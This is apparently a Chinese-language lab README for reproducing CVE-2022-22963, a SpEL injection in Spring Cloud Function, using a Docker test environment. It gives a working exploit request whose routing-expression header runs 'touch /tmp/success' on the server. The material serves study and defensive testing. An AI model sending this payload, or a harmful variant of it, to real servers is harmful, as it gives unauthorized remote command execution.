Aaron
63285f61aa
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45 lines
1.4 KiB
Markdown
45 lines
1.4 KiB
Markdown
# Spring Cloud Function SpEL表达式命令注入（CVE-2022-22963）
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Spring Cloud Function 提供了一个通用的模型，用于在各种平台上部署基于函数的软件，包括像 Amazon AWS Lambda 这样的 FaaS（函数即服务，function as a service）平台。
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参考链接：
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- <https://tanzu.vmware.com/security/cve-2022-22963>
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- <https://mp.weixin.qq.com/s/onYJWIESgLaWS64lCgsKdw>
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- <https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f>
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## 漏洞环境
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执行如下命令启动一个使用Spring Cloud Function 3.2.2编写的服务器：
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```
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docker compose up -d
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```
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服务启动后，执行`curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test`即可执行`uppercase`函数，将输入字符串转换成大写。
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## 漏洞复现
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发送如下数据包，`spring.cloud.function.routing-expression`头中包含的SpEL表达式将会被执行：
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```
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POST /functionRouter HTTP/1.1
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Host: localhost:8080
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
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Connection: close
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spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
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Content-Type: text/plain
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Content-Length: 4
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test
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```
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可见，`touch /tmp/success`已经成功被执行：
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